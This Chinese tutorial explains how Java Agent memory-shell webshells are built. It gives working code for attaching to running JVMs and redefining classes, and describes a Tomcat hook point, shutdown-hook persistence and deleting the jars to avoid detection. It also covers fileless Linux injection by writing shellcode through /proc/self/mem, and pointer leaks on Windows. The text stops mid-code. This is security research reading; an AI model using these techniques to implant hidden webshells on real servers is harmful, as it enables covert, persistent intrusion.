Java Agent 内存马简介

Java Agent 内存马简介

Fooliam mob

一、Java Agent技术开端

无文件内存马目前大致两个方向,一是依靠服务器框架进行动态注册路由等植入恶意服务,另一方向就是基于Java本身的 agent 机制进行更底层的代码执行。后者的提出可谓精彩,需要对Java和计算机原理以及二进制都要有足够的理解。
Java SE 5开始就有了Instrumentation类,2018年 rebeyond 师傅的《利用“进程注入”实现无文件复活 WebShell》开始讨论Java内存马的实现,并且使用Java Instrumentation类通过agent机制动态改变JVM中类的方法。无文件内存马还有另外的一个大方向

0.复现

开山的文章提及了完整的实现原理,尝试进行复刻并记录一些细节。该方法需要生成三样文件:

  • evil.class:方法被修改了的目标类
  • agent.jar:负责对jvm中的类进行遍历,并动态加载class文件去改变原有方法
  • agent-starter.jar:通过agent机制把agent.jar植入到jvm中
    本次复现使用Java 11、idea 2020.2、7zip

1. 正常服务

为了演示,先写一个正常的服务:

1
2
3
4
5
public class Bird { 
public void say() {
System.out.println("bird say hello");
}
}
1
2
3
4
5
6
7
8
9
10
public class Main { 
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
while(true) {
Bird bird=new Bird();
bird.say();
Thread.sleep(3000);
}
}
}

把两个类打包成normal.jar包,注意在idea打包时选择:
File->Project Structure->Artifacts-> + ->Jar->From modules…->选择 Main Class ->把 MANIFEST.MF 路径中的 src 改为 src/main/resources
不改变最后的路径jar包会报错

2. 恶意类构造

对于正常的类:

1
2
3
4
5
public class Bird { 
public void say() {
System.out.println("bird say hello");
}
}

直接修改它正常的方法,使得可以具有恶意的webshell功能,这里为了示例只改变打印内容:

1
2
3
4
5
public class Bird { 
public void say() {
System.out.println("bird is gone.");
}
}

通过编译新的类得到Bird.class

3. agent构造

3.1 Transformer类

第一个类Transformer只是负责把恶意的Bird.class读取为字节数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import java.io.File;  
import java.io.FileInputStream;
import java.io.InputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
import java.util.Arrays;

public class Transformer implements ClassFileTransformer {
static byte[] mergeByteArray(byte[]... byteArray) {
int totalLength = 0;
for(int i = 0; i < byteArray.length; i ++) {
if(byteArray[i] == null) {
continue;
}
totalLength += byteArray[i].length;
}
byte[] result = new byte[totalLength];
int cur = 0;
for(int i = 0; i < byteArray.length; i++) {
if(byteArray[i] == null) {
continue;
}
System.arraycopy(byteArray[i], 0, result, cur, byteArray[i].length);
cur += byteArray[i].length;
}
return result;
}
public static byte[] getBytesFromFile(String fileName) {
try {
byte[] result=new byte[] {};
InputStream is = new FileInputStream(new File(fileName));
byte[] bytes = new byte[1024];
int num = 0;
while ((num = is.read(bytes)) != -1) {
result=mergeByteArray(result, Arrays.copyOfRange(bytes, 0, num));
}
is.close();
return result;
} catch (Exception e) {
e.printStackTrace();
return null; }
}
public byte[] transform(ClassLoader classLoader, String className, Class<?> c,
ProtectionDomain pd, byte[] b) throws IllegalClassFormatException {
if (!className.equals("Bird")) {
return null;
}
return getBytesFromFile("D:/CTF/Java/2018内存马/Bird.class");
//路径指向第2步产生的恶意类
}
}

3.2 AgentEntry类

第二个类AgentEntry遍历jvm里的类,通过Instrumentation进行替换方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import java.lang.instrument.Instrumentation;  
import java.lang.instrument.UnmodifiableClassException;

public class AgentEntry {
//需要实现agentmain方法
public static void agentmain(String agentArgs, Instrumentation inst)
throws ClassNotFoundException, UnmodifiableClassException,
InterruptedException {
inst.addTransformer(new Transformer(), true); //注册修改的方式类
Class[] loadedClasses = inst.getAllLoadedClasses();
for (Class c : loadedClasses) {
if (c.getName().equals("Bird")) { //判断对象名称
try {
inst.retransformClasses(c); //进行修改
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
System.out.println("Class changed!");
}
}

3.3 打包成agent.jar

idea本身可以将上述两个类打包,但是这里需要修改MANIFEST.MF来指定agent机制的入口类,所以手动打包:

1
2
javac -encoding UTF-8 Transformer.java AgentEntry.java
jar -cvf agent.jar Transformer.class AgentEntry.class

得到agent.jar后用7z直接打开压缩包(不解压),进入META-INF文件夹,右键编辑MENIFEST.MF:

1
2
3
4
Manifest-Version: 1.0
Agent-Class: AgentEntry
Can-Retransform-Classes: true

然后保存更新压缩包,注意MENIFEST.MF最后空一行。MENIFEST.MF中的Agent-Class指定了入口类为AgentEntry,或者Premain-Class指定。

  • 后来知道了如何idea里使用MANIFEST文件了:
    manifest位置.png

4. agent-starter构建

agent-starter负责把agent.jar通过agent机制注册入各个jvm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import com.sun.tools.attach.VirtualMachine;  
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class Attach {
public static void main(String[] args) throws Exception {
VirtualMachine vm = null;
List<VirtualMachineDescriptor> listAfter = null;
List<VirtualMachineDescriptor> listBefore = null;
listBefore = VirtualMachine.list();
while (true) {
try {
listAfter = VirtualMachine.list(); //获取虚拟机列表
if (listAfter.size() <= 0)
continue;
for (VirtualMachineDescriptor vmd : listAfter) {
vm = VirtualMachine.attach(vmd);
listBefore.add(vmd);
System.out.println("i find a vm,agent.jar was injected.");
Thread.sleep(1000);
if (null != vm) {
//指向第3步生成的agent.jar
vm.loadAgent("D:/CTF/Java/2018内存马/agent.jar");
vm.detach();
}
}
break;
} catch (Exception e) {
e.printStackTrace();
}
}
}
}

然后打包成agent-starter.jar

5. 运行测试

开一个窗口先运行normal.jar,模拟正常的服务,会不断打印出 “bird say hello”
然后运行agent-starter.jar,可以发现输出已经找到jvm的信息,然后正常服务输出的语句也变成了”bird is gone.”
agent-starter输出.png
normal输出.png

6. 实际应用细节

上述只是一个简单的示例,为了投入实际应用,师傅还给出了具体的实现细节,包括注入类和方法的选取、通过复活进行持久化,并实现了memShell工具。

6.1 注入类和方法选择

注入类不管路由是否存在都要能响应请求,需要找一个特殊的类,这个类要尽可能在http请求调用栈的上方,又不能与具体的URL有耦合,而且还能接受客户端request中的数据。因此师傅选择了org.apache.catalina.core.ApplicationFilterChain,对应方法选择了internalDoFilter,具体的修改代码师傅文字很详细,不赘诉。

6.2 持久化

内存马最大的问题就是关机会丢失,因此师傅的方法是在关机时添加一个线程重新将内存中的inject.jar(也就是agent-starter.jar)和agent.jar(没有class文件是因为完全可以直接通过字节数组写在源代码里,因此agent.jar也承担了webshell的功能),然后直接jar -jar inject.jar,使得inject.jar保活

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void persist() { 
try {
Thread t = new Thread() {
public void run() {
try {
writeFiles("inject.jar",Agent.injectFileBytes);
writeFiles("agent.jar",Agent.agentFileBytes);
startInject();
} catch (Exception e) { }
}
};
t.setName("shutdown Thread");
Runtime.getRuntime().addShutdownHook(t);
} catch (Throwable t) { }
}

6.3 大致流程

  • 通过已有的webshell上传两个jar,然后以tomcat运行者的身份运行jar -jar inject.jar
  • 然后inject.jar会进行注入,成功后才会退出
  • 执行成功后,agent.jar执行agentmain方法:
    • 修改目标类的方法
    • 把磁盘上的inject.jar和agent.jar读进tomcat内存
    • 对memShell做初始访问,使得tomcat自动引用类入内存,防止删除文件后找不到类
    • 删除两个jar,linux直接删,windows下需要通过DuplicateHandle解除jvm文件占用句柄后再删除(封装功能在exe里,由agent.jar判断系统释放出来)
    • memShell注入完毕,正常接收请求
    • 当JVM关闭时,会首先执行我们注册的ShutdownHook,把jar从内存写回硬盘,再循环inject.jar,从而保活

二、Linux 下无文件 Java Agent 植入

回顾第一种方法,虽然实现了植入内存马的目的,但是本质上是依赖两个在硬盘上的jar包,这样的方式不够干净也不够“优雅”,于是游望之 师傅就分析了agent植入的过程和本质,尝试直接构造Instrumentation类进行注入,Xiaopan233 师傅也对此进行了复现和总结,实现了Linux下进行无文件Agent植入。
参考文章:

Linux下内存马进阶植入技术:https://xz.aliyun.com/t/10186
Linux下无文件Java agent探究:https://tttang.com/archive/1525/
论如何优雅的注入 Java Agent 内存马:https://paper.seebug.org/1945/

0. 依赖Jar包的原因

观察第一种方法的代码,需要构造两个jar包:agent.jar 和 inject.jar。大致的执行流程是:

  • 执行inject.jar,调用loadAgent()方法植入agent.jar
  • agent.jar中使用 Instrumentation 对象的 retransformClasses() 方法进行动态修改字节码
    而 loadAgent() 需要的是 agent.jar 的路径,所以需要jar包落地。那么如果能直接调用Instrumentation 的方法就可以直接进行agent植入了,这也正是师傅们所做的。

1. 构造流程

师傅们的分析都很详细了,从Java代码层到Java native,到c语言层,最后手搓汇编,实在太佩服了。这里不再过多的源码推导,而是正向简单阐述构造的过程。

1.1 InstrumentationImpl

Instrumentation 只是接口,真正实现的类是 InstrumentationImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class InstrumentationImpl implements Instrumentation {
//...
private final long mNativeAgent;
//...

InstrumentationImpl(long nativeAgent,
boolean environmentSupportsRedefineClasses,
boolean environmentSupportsNativeMethodPrefix) {
//....
mNativeAgent = nativeAgent; //外部传入的指针设置到内部成员
//....
}

//...

public void redefineClasses(ClassDefinition... definitions)
throws ClassNotFoundException {
if (!isRedefineClassesSupported()) {
throw new UnsupportedOperationException("***");
}
if (definitions == null) {
throw new NullPointerException("***");
}
for (int i = 0; i < definitions.length; ++i) {
if (definitions[i] == null) {
throw new NullPointerException("***");
}
}
if (definitions.length == 0) {
return; // short-circuit if there are no changes requested
}
redefineClasses0(mNativeAgent, definitions);
}

private native void
redefineClasses0(long nativeAgent, ClassDefinition[] definitions)
throws ClassNotFoundException;

//...

}

可以看到构造函数最需要的是一个nativeAgent指针,这个指针被 redefineClasses->redefineClasses0 用到,而 redefineClasses 正是植入 agent 的作用函数,因此需要得到nativeAgent指针。

1.2 nativeAgent和JPLISAgent指针

redefineClasses0 是个native函数,看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
JNIEXPORT void JNICALL 
Java_sun_instrument_InstrumentationImpl_redefineClasses0 (
JNIEnv * jnienv,
jobject implThis,
jlong agent,
jobjectArray classDefinitions
) {
redefineClasses(jnienv, (JPLISAgent*)(intptr_t)agent, classDefinitions);
}

void redefineClasses(
JNIEnv * jnienv,
JPLISAgent * agent,
jobjectArray classDefinitions
) {
jvmtiEnv* jvmtienv = jvmti(agent);
jboolean errorOccurred = JNI_FALSE;
//...
}

redefineClasses0 通过JNI方法传到了 native 层的 redefineClasses 函数,可以看到 long nativeAgent 实际上是一个 JPLISAgent *类型的指针:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
struct _JPLISAgent {
JavaVM * mJVM; /* handle to the JVM */
JPLISEnvironment mNormalEnvironment; /* for every thing but retransform stuff */
JPLISEnvironment mRetransformEnvironment;/* for retransform stuff only */
jobject mInstrumentationImpl; /* handle to the Instrumentation instance */
jmethodID mPremainCaller; /* method on the InstrumentationImpl that does the premain stuff (cached to save lots of lookups) */
jmethodID mAgentmainCaller; /* method on the InstrumentationImpl for agents loaded via attach mechanism */
jmethodID mTransform; /* method on the InstrumentationImpl that does the class file transform */
jboolean mRedefineAvailable; /* cached answer to "does this agent support redefine" */
jboolean mRedefineAdded; /* indicates if can_redefine_classes capability has been added */
jboolean mNativeMethodPrefixAvailable; /* cached answer to "does this agent support prefixing" */
jboolean mNativeMethodPrefixAdded; /* indicates if can_set_native_method_prefix capability has been added */
char const * mAgentClassName; /* agent class name */
char const * mOptionsString; /* -javaagent options string */
};

struct _JPLISEnvironment {
jvmtiEnv * mJVMTIEnv; /* the JVM TI environment */
JPLISAgent * mAgent; /* corresponding agent */
jboolean mIsRetransformer; /* indicates if special environment */
};

创建 JPLISAgent 可以使用 createNewJPLISAgent 函数,但是它是内部函数,Java无法直接使用,但是还是能模仿这个函数的构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
JPLISInitializationError createNewJPLISAgent(
JavaVM * vm,
JPLISAgent **agent_ptr
) {
JPLISInitializationError initerror = JPLIS_INIT_ERROR_NONE;
jvmtiEnv * jvmtienv = NULL;
jint jnierror = JNI_OK;

*agent_ptr = NULL;
jnierror = (*vm)->GetEnv( vm,
(void **) &jvmtienv,
JVMTI_VERSION_1_1);
//jvmtienv可以以根据vm获取,注意传入的是 jvmtienv 的二级指针,是会被修改的。
if ( jnierror != JNI_OK ) {
initerror = JPLIS_INIT_ERROR_CANNOT_CREATE_NATIVE_AGENT;
} else {
//空的agent根据jvmtienv生成
JPLISAgent * agent = allocateJPLISAgent(jvmtienv);
if ( agent == NULL ) {
initerror = JPLIS_INIT_ERROR_ALLOCATION_FAILURE;
} else {
initerror = initializeJPLISAgent( agent, //空的,进行变量填充
vm, //传入的vm
jvmtienv //根据vm获取的jvmtienv
); //重点,需要
if ( initerror == JPLIS_INIT_ERROR_NONE ) {
*agent_ptr = agent; //修改二级指针,获得创建好的JPLISAgent*
//...
//...
//....
return initerror;
}

JPLISInitializationError initializeJPLISAgent( //主要是变量的初始化
JPLISAgent * agent,
JavaVM * vm,
jvmtiEnv * jvmtienv
) {
jvmtiError jvmtierror = JVMTI_ERROR_NONE;
jvmtiPhase phase;

agent->mJVM = vm;
agent->mNormalEnvironment.mJVMTIEnv = jvmtienv;
agent->mNormalEnvironment.mAgent = agent;
agent->mNormalEnvironment.mIsRetransformer = JNI_FALSE;
agent->mRetransformEnvironment.mJVMTIEnv = NULL; /* NULL until needed */
agent->mRetransformEnvironment.mAgent = agent;
agent->mRetransformEnvironment.mIsRetransformer = JNI_FALSE; /* JNI_FALSE until mJVMTIEnv is set */
agent->mAgentmainCaller = NULL;
agent->mInstrumentationImpl = NULL;
agent->mPremainCaller = NULL;
agent->mTransform = NULL;
agent->mRedefineAvailable = JNI_FALSE; /* assume no for now */
agent->mRedefineAdded = JNI_FALSE;
agent->mNativeMethodPrefixAvailable = JNI_FALSE; /* assume no for now */
agent->mNativeMethodPrefixAdded = JNI_FALSE;
agent->mAgentClassName = NULL;
agent->mOptionsString = NULL;
...
}

createNewJPLISAgent 的大致流程就是:

  • 传入 *vm**agent_ptr
  • 根据 *vm 生成 *jvmtienv(*vm)->GetEnv( vm, (void **) &jvmtienv, JVMTI_VERSION_1_1)
  • *agent根据 *jvmtienv 分配空间
  • 调用 initializeJPLISAgent 函数,通过 *vm*jvmtienv 进行初始化 *agent
  • 初始化成功后把 **agent_ptr 指向 *agent ,成功得到 JPLISAgent 指针
    可以看出下一步关键的就是vm,也就是 JavaVM* 的获取。
    当然,我们实际需要的是jvmtiEnv *,虽然构造JPLISAgent需要vm,但是调用redefineClasses只需要jvmtiEnv *

1.3 JavaVM指针

在JDK的 jni.h 中导出了获取方法:

1
2
3
4
5
6
7
_JNI_IMPORT_OR_EXPORT_ jint JNICALL JNI_GetCreatedJavaVMs(JavaVM **vm_buf, jsize bufLen, jsize *numVMs) {
//...
if (vm_created == 1) {
if (numVMs != NULL) *numVMs = 1;
if (bufLen > 0) *vm_buf = (JavaVM *)(&main_vm);
}
}

该方法最后被编译到 libjvm.so 中。接下来就是如何调用 libjvm.so 中的 JNI_GetCreatedJavaVMs 函数了。得益于Linux的特性,我们不需要额外把so传上去,Java本身就会把so加载到内存里,可以通过读取 /proc/{pid或self}/maps 获取所有已加载ELF(so文件)对象的基址及文件路径,maps 里内容如下:

1
2
3
4
5
6
7
8
9
passbya@raspberrypi:~ $ cat /proc/23390/maps | grep libjvm

f6e66000-f798f000 r-xp 00000000 b3:02 1952682 /home/passbya/java17/jdk-17.0.1+12/lib/server/libjvm.so

f798f000-f799e000 ---p 00b29000 b3:02 1952682 /home/passbya/java17/jdk-17.0.1+12/lib/server/libjvm.so

f799e000-f79e3000 r--p 00b28000 b3:02 1952682 /home/passbya/java17/jdk-17.0.1+12/lib/server/libjvm.so

f79e3000-f79fa000 rw-p 00b6d000 b3:02 1952682 /home/passbya/java17/jdk-17.0.1+12/lib/server/libjvm.so

可以看到提供了内存地址范围,这也让我们找到了ELF的基址。但是为了调用函数还需要寻找到JNI_GetCreatedJavaVMs的偏移地址,这需要我们继续解析ELF。

1.4 JNI_GetCreatedJavaVMs 偏移

何为ELF?简单来说就是加载到内存中的可执行程序,so文件的格式就是 ELF 格式。ELF格式结构化地存储了函数信息,理论上按照格式协议读取就可以获取我们想要的函数的偏移。这里不细讲ELF的格式,只是讲一下获取偏移的流程:

  • 读取File header,由 e_shoff 字段得到 Section header 的偏移,由 e_shnum 字段得到所有的 Section header 的数量
  • 读取 File headere_shstrnds 字段,知道 .shstrtab 是第几个 Section header ,从而定位到 .shstrtab ,同理也知道.strtab 的位置
  • 读取 .shstrtab 中的 sh_offset 字段,得到字符串表 String table。寻找这个字符串表的目的是为了得到各个Section header 的名称。每个Section headersh_name 存储着该Section header的名称字符串在字符串表里的偏移。同理可以构建.strtab ,只不过存的是变量、函数名等等。
  • 遍历各个 Section header ,找出名称为 .symtab.dynsymSection header
  • 遍历读取.symtab.dynsym 里的 Symbol table.symtab),优先读取.dynsymSymbol table结构如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    typedef struct
    {
    Elf64_Word st_name; /* 4 byte */ //table的名称,也是基于字符串表偏移的
    unsigned char st_info; /* 1 byte */ //低4位需要为代表函数实体指针的值2
    unsigned char st_other;
    Elf64_Half st_shndx;
    Elf64_Addr st_value; /* 8 byte */ //目标的偏移地址
    Elf64_Xword st_size; /* 8 byte */ //指向符号的大小
    } Elf64_Sym;
  • 读取每个Symbol table里的st_name,通过在.strtab里的偏移得到名称,对应函数名称,判断是否等于JNI_GetCreatedJavaVMs,如果等于那么可以读取 st_value 字段得到函数在ELF中偏移,上一步最后的ELF基址+偏移地址就得到了函数在内存中的地址,也就使得我们可以在汇编的层次上调用函数了。

1.5 汇编调用 JNI_GetCreatedJavaVMs 获取 JavaVM*

Xiaopan233 师傅讲的是联合混编的方式,首先新建一个C文件:

1
2
3
4
5
extern void call(); //导出
int main(){
call();
return 0;
}

然后手搓Linux的汇编(AT&T语法):

1
2
3
4
5
6
7
.text
.global call
.type call, %function

call:
mov $0x1,%rax
ret

编译:gcc -o A ./A.c ./A.s -g

在Linux的汇编层面中,调用函数时,传参时寄存器和函数形参关系:

  • rdi -> arg1
  • rsi -> arg2
  • rdx -> arg3
  • rcx -> arg4
  • r8 -> arg5
  • r9 -> arg6
    call addr 前需要把参数塞进寄存器里:
    1
    2
    3
    4
    5
    6
    7
    _JNI_IMPORT_OR_EXPORT_ jint JNICALL JNI_GetCreatedJavaVMs(JavaVM **vm_buf, jsize bufLen, jsize *numVMs) {
    //...
    if (vm_created == 1) {
    if (numVMs != NULL) *numVMs = 1;
    if (bufLen > 0) *vm_buf = (JavaVM *)(&main_vm);
    }
    }
    最后修改的是传入的二级指针,所以不用管返回值
    师傅的核心代码:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    //.....

    lea (%rsp), %rdi //把二级指针传入rdi,lea相当于取指针,对应JavaVM **
    mov $0x1, %rsi //设置第二个参数为1,满足函数内的条件,对应jsize
    lea 0x8(%rsp), %rdx //设置第三个参数,设为(rsp+8)这空间的地址,对应jsize*

    #调用GetCreatedJavaVms(),这里的函数地址是上文解析基址和偏移得到的,需要动态组装,这里暂时占位
    mov $0xffffffffffffffff, %rax
    call %rax
    #调用结束后,rsp指向的空间应当被赋值成了JavaVM*指针

    //.....
    这样就调用了 JNI_GetCreatedJavaVMs 函数,但是还需要得到 jvmtiEnv *,因为
    1
    2
    3
    4
    initializeJPLISAgent(agent, //空的,进行变量填充
    vm, //传入的vm
    jvmtienv //根据vm获取的jvmtienv
    );
    而 jvmtienv 是根据vm的GetEnv函数产生的:
    1
    (*vm)->GetEnv( vm, (void **) &jvmtienv, JVMTI_VERSION_1_1 )
    前面我们调用 JNI_GetCreatedJavaVMs 函数得到了 (*vm),而GetEnv是它的成员函数,可以根据结构体得到函数 GetEnv 的偏移地址为0+48:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    typedef JavaVM_ JavaVM;

    struct JavaVM_ {
    const struct JNIInvokeInterface_ *functions; //偏移0
    //...
    jint GetEnv(void **penv, jint version) {
    return functions->GetEnv(this, penv, version);
    }
    }

    struct JNIInvokeInterface_ {
    ....
    /*前面有6个函数指针,所以GetEnv函数指针的偏移量是 6*8=48*/
    jint (JNICALL *GetEnv)(JavaVM *vm, void **penv, jint version);
    };
    根据对应关系,可以知道传入 GetEnv 的第二个参数最后会得到 jvmtienv,不过要注意第二个参数 penv 是个二级指针。具体的汇编也不复制了,和上面的过程差不多,只不过需要考虑到需要得到 GetEnv 的地址。
    对整个汇编程序进行编译得到机器码,然后找到需要填入ELF基址的8字节,分成前后两份,中间的基址动态填入。当然,还有一些变量需要说明,看师傅的文章吧。

1.6 替换函数运行机器码

到这里我们得到了获取到了jvmtiEnv *这个调用 redefineClasses 必须的变量。但是又遇到新的问题,就是Java是没办法直接运行机器码的。于是为了运行这段机器码,要把这段机器码替换掉其他Java函数的机器码,这样我们就能在Java层面上使用这个函数了。
在Linux上,可以通过修改 /proc/self/mem 修改自身内存,因此我们类似1.4节查出目标替换函数的地址,然后直接替换 /proc/self/mem 对应地址的机器码为我们新编译出来的机器码即可。为了替换,这样的替换函数需要满足:

  • 返回值长度必须也是 jvmtiEnv * ,就是 long ,使得我们可以在Java层接收结果
  • 使用频率低,不大会影响正常的业务
  • 函数空间足够大,可以放得下新的机器码
    游望之师傅选择 libjava.so 中的 Java_java_io_RandomAccessFile_length 函数,而Xiaopan233师傅选择了libjava.so 里的 Java_java_io_FileInputStream_skip0 函数。当然这里的shllcode还要进一步加一个返回值功能(把 jvmtiEnv* 传入 rax 中):
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    void * shellcode()
    {
    struct JavaVM_ * vm;
    jsize count;
    JNI_GetCreatedJavaVMs(&vm, 1, &count);
    struct jvmtiEnv_ * _jvmti_env;
    vm->functions->GetEnv(vm, (void **)&_jvmti_env, JVMTI_VERSION_1_2);
    return _jvmti_env;
    }
    /*
    movabs rax, _JNI_GetCreatedJavaVMs
    sub rsp, 20h
    xor rsi, rsi
    inc rsi
    lea rdx, [rsp+4]
    lea rdi, [rsp+8]
    call rax
    mov rdi, [rsp+8]
    lea rsi, [rsp+10h]
    mov edx, 30010200h
    mov rax, [rdi]
    call qword ptr [rax+30h]
    mov rax, [rsp+10h]
    add rsp, 20h
    ret
    */
    替换成功后就可以使用Java运行我们的机器码:
    1
    2
    3
    //替换Java_java_io_FileInputStream_skip0函数后
    FileInputStream fileInputStream = new FileInputStream("/proc/self/maps");
    long jvmtiEnvPointer = fileInputStream.skip(1L); //skip函数返回的就是jvmtiEnv *
    当然,为了不影响原有功能,在替换前需要备份原有机器码,获取完指针后要还原现场。

1.7 构造JPLISAgent

回顾 JPLISAgent 的结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
struct _JPLISEnvironment {
jvmtiEnv * mJVMTIEnv; /* the JVM TI environment */
JPLISAgent * mAgent; /* corresponding agent */
jboolean mIsRetransformer; /* indicates if special environment */
};
typedef struct _JPLISEnvironment JPLISEnvironment;

struct _JPLISAgent {
JavaVM * mJVM; /* JVM指针,但RedefineClasses()没有用到,可以忽略,全填充0即可 */
JPLISEnvironment mNormalEnvironment; /* _JPLISEnvironment结构体 */
..... //无关紧要的成员
};
typedef struct _JPLISAgent JPLISAgent;

根据结构依次分配空间即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);

long JPLISAgent = unsafe.allocateMemory(25L);
//JavaVM*
unsafe.putLong(JPLISAgent, 0L);

//_JPLISEnvironment
unsafe.putLong(JPLISAgent+8L, jvmtiEnv); //jvmtiEnv *
unsafe.putLong(JPLISAgent+16L, JPLISAgent); //JPLISAgent *
unsafe.putByte(JPLISAgent+24L, (byte)0x1); //jboolean
//can_redefine_classes
unsafe.putByte(jvmtiEnv + 361L, (byte)0x2);
//jdk11.0.13, jdk12.0.2 377
//jdk 1.8.202, jdk10.0.2 361

最后得到 JPLISAgent指针 theUnsafe
值得注意的是can_redefine_classes这个值的位置是必须要填的,而且偏移是根据Java版本改变而改变的,具体的获取方式Xiaopan233师傅有解析。

1.8 反射构造InstrumentationImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
byte[] evilClassClassBytes = new byte[]{
//恶意类的字节码...
};

Class instrumentationImplClass =
Class.forName("sun.instrument.InstrumentationImpl");

Constructor instrumentationImplConstructor =
instrumentationImplClass.getDeclaredConstructor(
long.class,
boolean.class,
boolean.class
);

instrumentationImplConstructor.setAccessible(true);

//构造函数接受第一个值nativeAgent,实际上就是JPLISAgent指针,也就是上节的theUnsafe
Object instrumentationImpl =
instrumentationImplConstructor.newInstance(JPLISAgent, true, false);

ClassDefinition[] classDefinitions = new ClassDefinition[1];

//第一个参数为类class,第二个为待修改成的字节码
classDefinitions[0] = new ClassDefinition(com.Demo.class, evilClassClassBytes);

Method redefineClassesMethod =
instrumentationImplClass.getDeclaredMethod(
"redefineClasses",
ClassDefinition[].class
);

redefineClassesMethod.setAccessible(true);

redefineClassesMethod.invoke(
instrumentationImpl,
new Object[]{classDefinitions}
);

到这里就已经成功实现Agent的植入了。

2. 总结流程

  • 查elf获取 JNI_GetCreatedJavaVMs 和 替换函数的地址
  • 根据 JNI_GetCreatedJavaVMs 地址构建获取 jvmtiEnv* 的机器码
  • 把构建的得到的机器码替换到替换函数的内存空间
  • Java层面调用替换函数获取jvmtiEnv*,还原替换函数现场
  • Java分配 unsafe 内存块构建 JPLISAgent 指针
  • 通过反射传入 JPLISAgent 指针构建 InstrumentationImpl 对象
  • 调用 InstrumentationImpl 的 redefineClasses 方法修改目的对象

3. 实现


三、Windows 下无文件 Java Agent 植入

Linux下无文件植入Agent 内存马的方式很具有Linux特色,包括使用/proc/self/maps/proc/self/mem,以及解析elf,显然在Windows没办法植入。

0.可行性分析

Windows 下无文件植入 Agent 思路其实和Linux差不多,核心都是构造JPLISAgent指针,也就是获取JavaVM指针,或者说如何调用 JNI_GetCreatedJavaVMs 函数和获取返回值。
《Java内存攻击技术漫谈》一文中,rebeyond 师傅提出了Windows下直接使用 Java 执行 shellcode 的方式,也就不需要通过修改/proc/self/mem的方式执行shellcode了,算是替换了其中一步。那么还需要解决的就是获取 JNI_GetCreatedJavaVMs 的地址,一旦得到函数地址就可以调用函数。至于返回值的获取虽然不能修改别的 native 函数,但是实际上可以Java先在堆上分配一片空间,获取空间地址,在通过shellcode执行函数后把值存在那片空间即可。

1. 暴力统计匹配获取 jvmtiEnv*

Windows 中 JNI_GetCreatedJavaVMs 函数在 jvm.dll 中。dll的特性是内部函数相对地址固定,而基址在dll加载时动态分配,所以最大的难题是获取 jvm.dll 的基址。

1.1 内存信息泄露

在 rebeyond 师傅的《Java内存攻击技术漫谈》中,师傅发现通过Unsafe分配一个很小的堆外空间时,这个堆外空间的前后内存中,存在大量的指针,而这些指针中,有一些指针指向jvm的地址空间,同时我们是可以直接访问这些内存的:

1
2
3
4
5
6
7
8
9
10
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);

long allocateMemory = unsafe.allocateMemory(3L); //反射分配小内存
System.out.println("allocateMemory:"+Long.toHexString(allocateMemory));

long offset = 0L; //偏移,可变
long addr = unsafe.getAddress(allocateMemory + offset); //注意这里不一定是指针
System.out.println("getAddress:"+Long.toHexString(addr)); //不是指针会崩溃

1.3 统计获取基址

师傅发现指针末尾的偏移其实是伪随机的,相同功能的指针(指向相同内容)地址会重复在某个集合重复随机出现。于是师傅多次分配空间,通过外部工具调试收集前后较大空间里确实指向jvm空间的指针的信息,构建 (指针末尾两字节-offset,指针指向的空间的末尾两字节-value,该指针与jvm.dll基址的偏移量-delta),形成一个匹配字典。
应用的时候先分配小内存,然后不断获取前后的一个地址指针,堆该指针遍历整个字典,如果发现offset相同且value相同,那么就可以直接用delta获取到基址了:基址 = 指针-delta。下面贴一下获取offset和value的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import sun.misc.Unsafe;  
import java.lang.reflect.Field;

public class AddrCollect {
public static void main(String[] args) throws Exception {
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);

long allocateMemory = unsafe.allocateMemory(3L);
System.out.println("allocateMemory:" + Long.toHexString(allocateMemory));

int offsetLen = 8; //遍历长度一字节
int targetHexLength = 8; //32位指针
for (int i = 0; i < 0x10; i++){ //down search {
for (int j : new int[]{-1, 1}) {
long offset = i * j * offsetLen;
//基于offset偏移的内容,注意内容可能不是指针导致溢出崩溃
long target = unsafe.getAddress(allocateMemory + offset);
String targetHex = Long.toHexString(target);
